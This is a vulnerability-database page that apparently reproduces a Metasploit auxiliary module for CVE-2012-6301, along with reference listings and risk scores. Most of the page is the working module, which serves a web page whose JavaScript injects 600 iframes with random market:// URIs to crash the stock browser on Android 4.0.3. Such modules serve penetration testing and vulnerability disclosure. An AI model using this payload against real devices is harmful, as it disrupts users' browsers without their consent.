Android Stock Browser Iframe DOS

🗓️ 23 Mar 2016 16:10:23Reported by Jean Pascal Pereira, Jonathan WaggonerType

Android Stock Browser Iframe DOS, crashes browser by exploiting Android 4.0.3 vulnerabilit

Reporter	Title	Published	Views	Family All 8
Circl	CVE-2012-6301	29 May 201815:50	–	circl
Check Point Advisories	Google Android Market URI Denial of Service (CVE-2012-6301)	14 Jan 201600:00	–	checkpoint_advisories
CVE	CVE-2012-6301	10 Dec 201220:00	–	cve
Cvelist	CVE-2012-6301	10 Dec 201220:00	–	cvelist
NVD	CVE-2012-6301	10 Dec 201220:55	–	nvd
Packet Storm	Android Stock Browser Iframe Denial of Service	31 Aug 202400:00	–	packetstorm
Prion	Input validation	10 Dec 201220:55	–	prion
RedhatCVE	CVE-2012-6301	22 May 202504:12	–	redhatcve

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'           => "Android Stock Browser Iframe DOS",
        'Description'    => %q(
          This module exploits a vulnerability in the native browser that comes with Android 4.0.3.
          If successful, the browser will crash after viewing the webpage.
        ),
        'License'        => MSF_LICENSE,
        'Author'         => [
          'Jean Pascal Pereira',  # Original exploit discovery
          'Jonathan Waggoner'     # Metasploit module
        ],
        'References'     => [
          [ 'PACKETSTORM', '118539'],
          [ 'CVE', '2012-6301' ]
        ],
        'DisclosureDate' => '2012-12-01',
        'Actions'        => [[ 'WebServer', 'Description' => 'Serve exploit via web server' ]],
        'PassiveActions' => [ 'WebServer' ],
        'DefaultAction'  => 'WebServer'
      )
    )
  end

  def run
    exploit # start http server
  end

  def setup
    @html = %|
    <html>
    <body>
    <script type="text/javascript">
      for (var i = 0; i < 600; i++)
      {
        var m_frame = document.createElement("iframe");
        m_frame.setAttribute("src", "market://#{Rex::Text.rand_text_alpha(rand(16) + 1)}");
        document.body.appendChild(m_frame);
      }
    </script>
    </body>
    </html>
    |
  end

  def on_request_uri(cli, _request)
    print_status('Sending response')
    send_response(cli, @html)
  end
end

02 Oct 2020 20:00Current

6.9Medium risk

Vulners AI Score6.9

CVSS 25

EPSS0.06448